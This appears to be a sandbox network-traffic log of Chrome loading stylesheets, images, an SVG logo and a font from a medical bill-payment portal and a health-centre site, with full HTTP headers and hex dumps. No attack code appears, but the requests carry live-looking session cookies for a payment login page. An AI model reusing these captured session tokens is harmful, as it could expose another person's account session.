JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.D!1AQ"aq2#B
2024-04-24 12:44:56 UTC	16384	IN	Data Raw: 00 f5 13 fb 2f 8d cb 77 c9 74 eb c9 35 8c 8f a8 63 66 49 89 28 92 33 f7 1e eb 8d c7 73 b7 39 6c bb 8f 51 81 9f 16 7c 61 cc 34 e1 f9 9b ec bc d9 63 71 7a 70 ce 64 d2 54 69 15 44 41 11 44 2c d5 89 4a 2a 20 0b 42 a9 79 56 31 4a cd 92 8b db c2 95 56 78 59 68 92 70 ac 65 48 0b 48 3e 10 55 22 ac d6 69 97 4c 58 1c 7e 53 25 8d 83 85 c9 d0 06 e5 54 07 22 55 2f e1 58 cd 64 91 74 62 b1 c9 ca e9 1c ea 97 2d 46 14 9e 56 92 90 ad 91 5d 29 54 0a ca 17 ca 32 74 69 aa a9 79 5e b1 0a 50 56 56 20 5a 88 60 29 50 42 28 da cd 11 45 da 22 22 85 a2 10 74 f0 05 52 35 1d 01 b2 28 dd a2 88 36 80 85 28 2b 28 3d c8 0a 28 a2 22 08 8a 88 81 c9 40 51 a8 16 8a 97 65 00 03 64 4d 88 44 f6 9f 52 ac 58 52 b4 a8 82 20 20 d2 80 d8 2b 29 45 19 44 50 22 d1 13 81 ba 35 20 59 e5 58 40 f2 b4 a3 c8 Data Ascii: /wt5cfI(3s9lQ\|a4cqzpdTiDAD,J* ByV1JVxYhpeHH>U"iLX~S%T"U/Xdtb-FV])T2tiy^PVV Z`)PB(E""tR5(6(+(=("@QedMDRXR +)EDP"5 YX@
2024-04-24 12:44:56 UTC	16384	IN	Data Raw: f7 1c 39 2f d3 f4 a0 6f 8f 0b 0e 36 ac 01 19 a3 48 88 05 20 21 16 0f 6d 6e a5 6a 18 9b 6a 8b b2 1e 56 a1 a5 79 51 fa 90 17 79 66 ff 00 a2 92 ea a5 ee 39 e0 ae 88 88 6d 0a 25 a4 71 55 05 a2 d0 31 50 25 aa 09 3b 20 03 74 16 b7 95 03 b4 59 41 63 41 d8 7e 8b 23 59 34 da 51 54 b8 5a 20 52 08 02 08 39 40 e3 65 af a1 7b 0a c5 6a 3d 6f 4d cf ea 60 96 13 f9 0d 2f 3f 2c ed ea e1 bd 69 d1 77 2b 9b 79 32 64 15 d2 46 2b 0c 8b a4 71 ac cf 3b ad b1 55 b9 69 85 4e 56 36 43 c2 50 85 46 68 b3 94 a4 58 ac 74 2d 85 a0 f6 bc cd 41 05 1a 44 10 a0 54 10 a8 02 85 02 56 a2 42 da d0 d5 a7 8b 91 67 25 9e de 92 0f fb 63 ec b8 57 78 65 15 10 10 40 1f 54 0a e9 83 06 e5 0d ab f5 83 fc da ba 4d a8 95 bd cf 05 56 1c 2e ae d7 71 fa 6f 4b 9f 3d dc 46 db ed 1c 92 b5 2e a6 eb 5c 7c 77 93 39 Data Ascii: 9/o6H !mnjjVyQyf9m%qU1P%; tYAcA~#Y4QTZ R9@e{j=oM`/?,iw+y2dF+q;UiNV6CPFhXt-ADTVBg%cWxe@TMV.qoK=F.\\|w9
2024-04-24 12:44:56 UTC	16384	IN	Data Raw: f1 cb 4c e5 8e e3 e1 1f 16 7e 1c ca c3 2e af a7 c2 4b 5b bc d1 b4 70 3d c2 bc bc 73 39 e5 1e cf 87 f2 75 ff 00 6f 3f fd 3e 13 a9 e0 b5 c4 90 d5 e3 8f a3 94 71 1f 89 e9 ba da 68 ab b7 2d 37 61 66 d7 c8 ff 00 ea ad ed 65 5d 29 a7 77 35 46 b6 47 ca c7 8a 75 6e 89 6b 14 98 b0 93 dc 1c 02 ac 69 9a 68 5b c0 46 6c 56 09 88 53 4e ca fb 36 1d e7 b8 28 bb 6d 8e 50 f6 51 d8 a9 a6 fc 94 3e 27 5d d2 ac 83 71 0b cf 09 69 21 ce 3b 99 bf 62 8d 78 89 8f b8 51 6d 21 ad a8 7e 1d 1b 46 6e 20 18 41 aa d9 0d 2e 8e d8 77 3b 2a 35 42 e0 79 59 ae b8 bd 47 4b c8 19 90 08 34 57 9f 95 eb e2 d6 9f 47 d3 f3 9d 21 6b 48 fd 42 f1 d7 5b 1e a3 12 fd 31 6a 62 e5 5b 58 dd ac ad b9 5c 81 dc a3 50 a9 19 b4 6e 95 67 6b 1a 4a d4 8c da ee f4 ce 01 ce ce 05 c2 d8 cd ca f6 7c 7c 37 77 5e 4f 91 c9 Data Ascii: L~.K[p=s9uo?>qh-7afe])w5FGunkih[FlVSN6(mPQ>']qi!;bxQm!~Fn A.w;*5ByYGK4WG!kHB[1jb[X\PngkJ\|\|7w^O
2024-04-24 12:44:56 UTC	13045	IN	Data Raw: b6 81 49 b4 00 a0 08 a5 25 10 a4 a0 1f 54 00 9b 40 10 0b 41 d0 5c 1d 45 04 41 0a 00 82 14 2b 8d d4 98 a6 6c 27 38 0b a0 bb f1 5e df 3b e6 e1 bc 5f 36 ca 1d 92 1f 0b d6 fc fd ea 9a 2c 97 b1 a2 cd 84 d3 5e 77 ec 72 08 c9 8c d5 5a 46 72 72 0c af 85 fd 8e 1b 5a de 9c 37 7e 9d 3c 6c 80 e8 fb 6e c5 2c eb 4e be 5b 65 c2 6f 66 79 75 f2 56 72 fc b7 c5 7f 8e 9e 85 a6 d3 d3 a0 b9 bb 2a 2a ad d0 30 77 6e e8 86 fc 40 f6 40 4c f6 8a 42 f1 e4 a0 4b 08 85 35 68 94 a4 8b 55 12 d1 36 9d c4 a3 28 4a 05 bb 41 10 0f 28 0a 03 b0 08 21 28 20 28 25 ee 82 77 51 41 2e ca 08 79 5a 88 20 95 6a 0d ac c0 ae 5b 80 02 94 38 34 16 6a c4 b5 7e 90 69 40 0d 85 4a 50 56 99 30 72 8a 76 be 8a 58 4a 61 31 be 14 d2 f9 18 ca 0f 8b 53 46 c9 62 ec 6c 55 46 88 33 43 7e 47 9d 96 6c 75 99 fe 56 be 26 Data Ascii: I%T@A\EA+l'8^;_6,^wrZFrrZ7~<ln,N[eofyuVr**0wn@@LBK5hU6(JA(!( (%wQA.yZ j[84j~i@JPV0rvXJa1SFblUF3C~GluV&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49979	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:55 UTC	800	OUT	GET /HealowPay/jsp/js/assets/css/healow-practice-pay-widget.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:55 UTC	1408	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:55 GMT Content-Type: text/css Content-Length: 9115 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"9115-1679666670000" Last-Modified: Fri, 24 Mar 2023 14:04:30 GMT vary: accept-encoding Server:
2024-04-24 12:44:55 UTC	9115	IN	Data Raw: 2e 68 2d 77 72 61 70 70 65 72 20 2e 68 65 61 64 65 72 2d 77 72 61 70 70 65 72 2e 66 69 78 65 64 6e 61 76 2d 77 72 61 70 70 65 72 2e 77 69 64 67 65 74 6e 61 76 62 61 72 20 7b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 36 45 39 45 44 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 68 65 61 64 65 72 2d 77 72 61 70 70 65 72 2e 66 69 78 65 64 6e 61 76 2d 77 72 61 70 70 65 72 2e 77 69 64 67 65 74 6e 61 76 62 61 72 20 2e 6e 61 76 62 61 72 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 38 70 78 20 30 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 70 61 79 62 69 6c 6c 2d 77 72 61 70 70 65 72 2e 70 61 79 77 69 64 67 65 74 Data Ascii: .h-wrapper .header-wrapper.fixednav-wrapper.widgetnavbar { box-shadow: none; border-bottom: 1px solid #E6E9ED;}.h-wrapper .header-wrapper.fixednav-wrapper.widgetnavbar .navbar { padding: 28px 0;}.h-wrapper .paybill-wrapper.paywidget

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49981	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	837	OUT	GET /HealowPay/jsp/js/assets/img/access-statements.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:56 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: image/png Content-Length: 2251 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2251-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:56 UTC	2251	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 08 82 49 44 41 54 68 43 e5 9b 7b 54 14 d7 19 c0 ef cc ce ec ec 63 76 17 17 79 ca cb 1a eb 89 8f 88 07 94 2a 59 04 49 62 08 42 72 72 8c 6d 43 6c da c3 c9 31 6d b5 2f 9b c4 6a d3 92 36 27 a9 a7 d6 9a 9a 16 51 34 51 02 27 c1 14 db 20 50 89 15 8a 68 a2 81 a3 26 92 12 12 83 3c e4 e1 a2 28 cb 6b 77 66 67 3a 77 4f a6 67 59 66 77 66 c7 19 d0 78 ff 5b e6 bb f7 7e bf fb dd fb dd ef 7e f7 82 80 bb ac 20 77 19 2f 98 7a 60 96 45 96 7f d0 ad 0b 63 74 98 9b 1d c5 c6 9d 1a 14 33 b0 2c eb c0 9d d7 2e 77 bb 9a 37 24 53 6a 1a 61 ca 80 d3 eb da 43 f4 00 27 11 0c 18 02 01 b1 28 e3 76 69 88 e1 71 7a 70 f4 54 ea bc 11 80 20 8c Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC{Tcvy*YIbBrrmCl1m/j6'Q4Q' Ph&<(kwfg:wOgYfwfx[~~ w/z`Ect3,.w7$SjaC'(viqzpT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49980	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	834	OUT	GET /HealowPay/jsp/js/assets/img/pay-your-bills.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:56 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: image/png Content-Length: 2577 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2577-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:56 UTC	2577	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 09 c8 49 44 41 54 68 43 ed 9a 7d 54 13 57 16 c0 df 64 26 09 89 90 80 a0 a0 82 d6 56 ea 6a d5 e2 51 fc 96 42 c1 0f 40 eb 71 8f 45 8b da ba ab 1e ad b5 ac 56 ad e8 41 6b 5d 8f e0 5a 5d 6b b5 6a d5 75 15 b1 2a 76 3f 5a 11 f9 32 28 88 60 b1 e2 47 77 55 aa 20 e1 b3 80 a0 40 92 61 66 32 3b 2f db a1 21 4e 32 93 49 82 9e 63 e7 1c f8 23 ef bd fb ee ef dd fb ee bb ef ce 20 e0 05 7b 10 57 f1 8e 28 a6 a5 de 8d 37 65 a8 da 1f 35 1a 75 18 dd 82 63 88 42 8d 4a 28 1c 85 73 22 80 20 11 cc 0b af 6d d6 e1 d7 a6 f7 d6 b9 4a 0f 4b b9 4e 03 0e d5 94 b9 a1 94 b4 1b 2a 45 94 88 d4 28 47 29 44 22 14 02 07 14 49 91 8a 9f 73 c3 7a Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC}TWd&VjQB@qEVAk]Z]kjuv?Z2(`GwU @af2;/!N2Ic# {W(7e5ucBJ(s" mJKNE(G)D"Isz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49983	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	766	OUT	GET /wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:56 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: text/css Content-Length: 4632 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:37 GMT Vary: Accept-Encoding ETag: "64f5a129-1218" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:56 UTC	4632	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 68 6f 6d 65 70 61 67 65 2d 68 65 72 6f 5f 5f 64 65 63 6f 72 7b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 35 2e 36 32 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 68 6f 6d 65 70 61 67 65 2d 68 65 72 6f 5f 5f 64 65 63 6f 72 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 76 77 20 2b 20 35 72 65 6d 29 3b 72 69 67 68 74 3a 63 61 6c 63 28 35 30 25 20 2d 20 35 72 65 6d 29 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 31 30 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 Data Ascii: .acf-block-homepage-hero__decor{top:0;right:0;width:100vw;border-bottom-right-radius:5.625rem}@media (min-width:992px){.acf-block-homepage-hero__decor{width:calc(50vw + 5rem);right:calc(50% - 5rem);border-bottom-right-radius:10rem}}@media (min-width:1200p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49982	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	780	OUT	GET /wp-content/uploads/2020/06/icon__logo.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:56 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: image/svg+xml Content-Length: 19885 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:29 GMT Vary: Accept-Encoding ETag: "64f5a121-4dad" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:56 UTC	15963	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 33 32 37 22 20 68 65 69 67 68 74 3d 22 35 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 37 20 35 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 4c 6f 67 6f 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 31 2e 30 37 30 36 20 31 37 2e 37 37 30 37 43 32 31 2e 30 37 30 36 20 38 2e 32 31 33 37 33 20 32 38 2e 38 31 38 20 30 2e 34 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="327" height="54" viewBox="0 0 327 54" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Logo</title><path fill-rule="evenodd" clip-rule="evenodd" d="M21.0706 17.7707C21.0706 8.21373 28.818 0.4
2024-04-24 12:44:56 UTC	3922	IN	Data Raw: 32 31 36 2e 30 35 32 20 34 30 2e 32 31 39 36 20 32 31 36 2e 39 32 34 20 33 39 2e 36 35 32 36 20 32 31 38 2e 37 35 36 20 33 39 2e 34 35 36 33 56 33 39 2e 39 35 37 39 43 32 31 38 2e 37 35 36 20 34 31 2e 35 32 38 20 32 31 38 2e 32 37 36 20 34 32 2e 31 36 30 35 20 32 31 37 2e 31 32 20 34 32 2e 31 36 30 35 5a 4d 32 32 39 2e 32 37 35 20 32 39 2e 39 37 56 34 34 2e 35 31 35 37 48 32 32 35 2e 30 38 38 56 32 39 2e 39 37 48 32 32 39 2e 32 37 35 5a 4d 32 33 35 2e 38 32 36 20 34 34 2e 36 34 36 35 43 32 33 36 2e 36 35 35 20 34 34 2e 36 34 36 35 20 32 33 37 2e 32 38 37 20 34 34 2e 35 38 31 31 20 32 33 38 2e 32 36 38 20 34 34 2e 34 30 36 37 56 34 31 2e 33 37 35 34 43 32 33 37 2e 38 33 32 20 34 31 2e 34 38 34 34 20 32 33 37 2e 34 31 38 20 34 31 2e 35 34 39 39 20 32 33 37 Data Ascii: 216.052 40.2196 216.924 39.6526 218.756 39.4563V39.9579C218.756 41.528 218.276 42.1605 217.12 42.1605ZM229.275 29.97V44.5157H225.088V29.97H229.275ZM235.826 44.6465C236.655 44.6465 237.287 44.5811 238.268 44.4067V41.3754C237.832 41.4844 237.418 41.5499 237

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49985	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	829	OUT	GET /HealowPay/jsp/js/assets/fonts/poppins-medium-normal-latin.woff2 HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.healowpay.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/custom.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:56 UTC	1387	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:56 GMT Content-Type: font/woff2 Content-Length: 7960 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"7960-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:56 UTC	7960	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 1f 18 00 0d 00 00 00 00 3e 24 00 00 1e c5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 20 1c 30 06 60 00 81 54 11 08 0a e4 04 cf 1f 0b 83 36 00 01 36 02 24 03 86 68 04 20 05 84 10 07 84 0b 1b 27 31 a3 a2 86 b4 5a 60 22 2a 37 53 65 ff 3c b0 8d 69 0f 06 0f c3 49 c8 28 43 0d 6b d6 56 1e 94 66 8b d0 33 8c 47 c8 b8 a4 8c df 25 b6 e1 59 ce f1 75 f4 11 9a 9c e2 23 4f ff bf 1f fc f6 cc 7d ff 63 26 c9 44 92 26 8d 78 64 51 49 50 b2 58 b2 4a c3 1b d5 a2 f8 39 ca 69 ce 68 d7 34 b3 2b fb 80 7d b9 02 b2 1f 9f c2 4a 32 24 d1 b1 a9 1c 22 a9 e5 a8 4f 40 fc 02 fa 52 02 c7 c7 3e e0 32 0d cf 6f b3 67 f4 36 7b ce 2c 44 40 94 48 a9 56 2a 05 51 01 45 c1 8f 68 63 ac c2 45 39 97 2e 2a e5 b6 d3 db dc 55 6d b7 4a 77 b7 ab Data Ascii: wOF2>$ 0`T66$h 